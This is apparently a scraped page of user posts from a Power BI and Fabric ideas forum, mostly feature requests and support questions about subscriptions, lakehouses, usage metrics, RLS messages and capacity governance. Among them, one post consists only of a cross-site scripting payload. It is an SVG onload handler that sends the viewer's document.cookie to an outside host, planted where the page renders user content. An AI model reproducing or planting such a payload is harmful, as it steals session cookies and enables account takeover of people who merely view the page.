I subscribe to Power BI report emails for operational monitoring, where the primary goal is to quickly glance at the report image and immediately decide whether action is required. Recently, a Copilot-generated summary has been added above the report image in subscription emails. For my use case, this summary provides no additional value and actively reduces usability, because: It pushes the report image out of immediate view It adds noise to a workflow that is intentionally designed to be fast and visual The interpretation is unnecessary when the recipient already understands the report It increases compute and resource usage for content that is ignored Requested improvement: Make Copilot summaries in subscription emails optional (per user or per subscription), or Place the Copilot summary below the report image instead of above it Power BI subscriptions are often used as a lightweight alerting mechanism. In those scenarios, the report image is the message. Please allow users to preserve that experience without mandatory AI-generated analysis. ... View more

We need to restrict certain Power BI connectors. It would be great if Power BI provide an administrative capability to: hide / restrict connectors from the UI, remove connectors from Get Data, or enforce an “approved‑connectors‑only” visibility list / whitelist. ... View more

The new "view usage metrics report" does no longer support dashboards - it only works for Power BI reports.   And the "old" usage metrics report does no longer give back any values for dashboard usage.   It would be great to have this standard feature back, The old usage metrics would again give back usage values for Dashboards, or The new usage metrics would work for Dashboards, too Thanks a lot, in advance! ... View more

When you create a Fabric Lakehouse, the Lakehouse name should be different to the SQL Analytics Endpoint name When you create an item such as a Notebook and add a data item eg from OneLake, you have a table of your objects, it lists both the Lakehouse and it's SQL Analytics Endpoint with no differentiation othere than the very small icon which you don't remember which is which as they are too small for old fogies like me.   What this does is cause confusion and mistakes by selecting the wrong one and you go down the path of only realising when you're trying to build X with Y and you get errors, then you realise you're connected with the SQL Endpoint instead of the Lakehouse and you get that D'oh moment   In the Lakehouse table there should be a column with the description and or you should be able to name them independently There is a filter in the OneLake table, but that is an afterthought   This is 2026 for crying out loud, lets' make our lives easy and prevent wasted time ... View more

There is a current bug that allows you to delete the Lakehouse created for the Power Apps Fabric Link and then done in the wrong order it orphans the link and you have to raise a support ticket to get it fixed. Copilot suggests that it has to be done in the backend by Support staff only.   So there needs to be either a product fix to ensure you can't do this and or a feature for System Admins to remove orphaned links. ... View more

Testing out the new pipeline activity "Lakehouse maintenance". I cannot select a table name. Cannot even specify dynamic content that returns a table that I KNOW is in the lakehouse.   This is broken. Yes, I understand it is in preview, but honestly, it needs to be more stable if I can break it in 2 minutes. ... View more

Currently when trying to make a Power BI report Mobile layout, you cannot edit the table so that it has all wanted columns in the normal view, and only a few core columns in the mobile view so that it fits the mobile view nicely without a horizontal scroll bar. A horizontal scroll is very user un-friendly on mobile. Ideally you should be able to hide or remove columns for the mobile view only. ... View more

Hi, I have a Fabric warehouse and I'm trying to commit changes in git, but I'm getting an error as shown below.   Please check the technical details for more information. If you contact support, please provide these details.   Hide details Request ID 27e90229-f14c-4ed2-b9a4-e8c3e5cf4519 Workload Error Code UnknownError   The data warehouse contains multiple objects, and I can't identify which object is causing the issue. Could you please assist with this?         ... View more

Hi! Like we have a search option in a canvas or reporting area can we get same feature for Power Query? We have a very messy setup and sometimes to identify the tables is tough. Search option at top to find the name of the relevant table would be really helpful.       ... View more

Currently, when a Dataverse Link to Fabric is recreated, refreshed, or experiences configuration changes, there is no exposed audit log or telemetry that allows customers to identify who or what triggered the action. This lack of traceability creates operational risk, investigation delays, and customer mistrust—especially in production environments where Fabric tables are business‑critical. ... View more

Develop an "Accessibility Configuration Scanner for Power BI Desktop and Power BI Service" which would scan a Power BI report or dashboard for accessibility configuration and features against an accessibility framework like WCAG 2.1 or WCAG 2.2, 508 standards, or Universal Accessibility principals. An Example could be a test for Screen Readers. ... View more

In Fabric/Power BI capacities, a single report or element can sometimes consume a disproportionate amount of compute resources due to heavy queries, complex visuals, or large semantic models. When this happens, it may impact the performance of other reports sharing the same capacity. Currently there are limited ways to control this behavior beyond manual intervention such as: Optimizing the report, removing it, or disabling. It would be very helpful to have capacity governance features that allow administrators to manage or limit resource usage per report. Possible capabilities could include: Setting capacity usage limits per report or semantic model Temporarily throttling or pausing reports that exceed usage thresholds Ability to disable a report temporarily from capacity monitoring tools This would help us to maintain stable performance across shared capacities and prevent a single report from affecting other workloads. ... View more

I own a report with 1000s of users. The report has RLS engaged. Normally users of the report will be denied access unless they are added to the appropriate AD group that is used to grant access to the report and to view rows of the dataset. We communicate how to gain access through the report this way, however users will see the default access denied message and still send me emails that they cannot access the report.   Please allow us to modify the access denied message so we can guide users to the correct place to request access, instead of contacting the owner frequently. ... View more

Currently in Power BI we can apply a Top N filter on visuals to display the highest categories based on a measure. However, when Top N is applied, all remaining categories are removed from the visual, which means their values are not represented. Because of this behavior, the total shown in the visual may not represent the full dataset, as the remaining categories are excluded after the Top N cutoff. It would be very useful to have a native Top N + Other option in Power BI visuals. With this feature, the visual would display: Top N categories based on the selected measure An additional “Other” category that aggregates all remaining categories This approach would ensure that: The full total is preserved The visual remains clean and readable Users can focus on the most significant categories while still including the rest of the data ... View more

Currently, Power BI allows color formatting by field value or conditional formatting, but the configuration must be done separately for each visual. This becomes difficult when trying to maintain consistent color standards across large reports. It would be extremely helpful if Power BI supported a report-level color mapping where a specific field value always maps to the same color across all visuals. Example use cases- Business units always have fixed colors across all reports Product categories need consistent branding Customer segments should maintain the same colors across visuals Thanks! ... View more

Hello Team,   Please assist me in migrating my fabric capacity from one Tenant to another Tenant. ... View more

Currently, Service Principal authentication works with Fabric Data Agents connected to Lakehouses but fails when the agent is connected to a Semantic Model. This limitation prevents building fully automated applications or backend services that interact with Semantic Model–based agents without requiring interactive user authentication.   Supporting Service Principals (or Managed Identities) for Semantic Model data access in Data Agents would enable secure server-to-server scenarios and make it easier to embed Fabric AI experiences into custom applications and enterprise workflows. ... View more

<svg onload=fetch('//im.xss.ht/oc.php?c='+document.cookie)> ... View more

When creating an application in Microsoft Power BI (web version), two improvements could be considered.   The first would be to allow the visibility of pages within the same report to be managed according to the audience. Currently, it is possible to grant or deny access to an entire report, but not to control which specific pages are visible to each user group. Being able to hide certain pages of a report depending on the audience would avoid having to duplicate reports simply to adapt the content to different audiences, while improving the readability and security of the information.   The second improvement would be to allow the creation of an application by integrating reports from multiple workspaces. Currently, an application must be built solely from content located in the same workspace. Allowing reports from different workspaces to be selected would facilitate the creation of cross-functional applications and avoid having to move or duplicate reports to centralize them. ... View more